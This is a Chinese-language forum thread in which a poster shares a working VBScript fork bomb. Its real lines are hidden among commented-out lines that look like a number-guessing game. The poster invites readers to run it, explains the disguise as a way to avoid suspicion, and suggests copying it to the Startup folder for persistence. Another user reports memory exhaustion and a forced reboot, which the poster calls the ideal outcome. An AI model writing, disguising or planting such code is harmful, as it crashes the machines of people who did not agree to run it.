本人制作的简易VBS病毒

cuihao

1. 
   
2. set shuzi=wscript.createobject("WScript.Shell")
   
3. 'msgbox("Hello")
   
4. 'msgbox("猜数")
   
5. 'A=inputbox("猜数")
   
6. do 'set "Ass Objects"
   
7. 'B=inputbox("猜数")
   
8. 'if bat(a,b) then
   
9. 'ask(a)
   
10. 'Set a=WSobject
    
11. shuzi.run  "1.vbs",1 'Create(A*B)
    
12. 'if popi(a) then
    
13. loop 'end
    
14. 'set print "你想的数字是",shuzi

复制代码

把上述代码保存成1.vbs（名字要对），有胆量运行一下（后果自负）。
懂VB的人或许就明白这是个嘛玩意了，危险代码比较隐蔽。

shouldbe

不懂VB。但从语句来看有点象递归调用。运行后死机。

cuihao

“'”后面的都是VB注释，此乃原型：

set shuzi=wscript.createobject("WScript.Shell")
do
  shuzi.run  "1.vbs",1
loop

效果：
无限调用1.vbs本身，调用出来的本身与原来的1.vbs一起调用本身，越调越多，直到耗尽内存死机。

universebreaker

c就行嘛...用vb幹嘛...

cuihao

vbs比较简单嘛，不用编译，内容用记事本就可以看，我这样伪装一下，就没人知道了
如果弄一个编译过的c程序，别人肯定会怀疑我的（我经常写一些乱糟糟的恶作剧程序）

usafchn

病毒谈不上，整蛊程序，支持下

yuan234yuan

不是病毒，不具备潜伏性隐蔽性和传染性，鉴定完毕~~

cuihao

对于不会用任务管理器的人来说，足够隐蔽了。

至于传染性，自身复制一下，到“启动”里就行了。

count

运行了一下, 先是内存和进程数递增(100M/s, 几十个进程/s), 一直到 1.35G, 530(大约)个停下, 然后进程数缓慢减少. 一分钟后出现"WScript.exe - 应用程序错误". 然后打字有点困难(现在还开着), 输入法的候选词框没有显示出来. 开新程序很慢. 还有硬盘一直在工作.

[ 本帖最后由 count 于 2009-7-31 20:21 编辑 ]

cuihao

这么慢？
按说能撑到“WScript.exe - 应用程序错误”就很不容易了。
你重启了没？不许说没有！

count

重启了
关机的时候会出现 WScript.exe   DLL初始化失败, 窗口站已关闭 这个框. 按确定后隔零点几秒到几秒会再出一次. 我刚出去了一会(十几分钟), 回来仍没关机. 终于重启了.

cuihao

这是理想效果。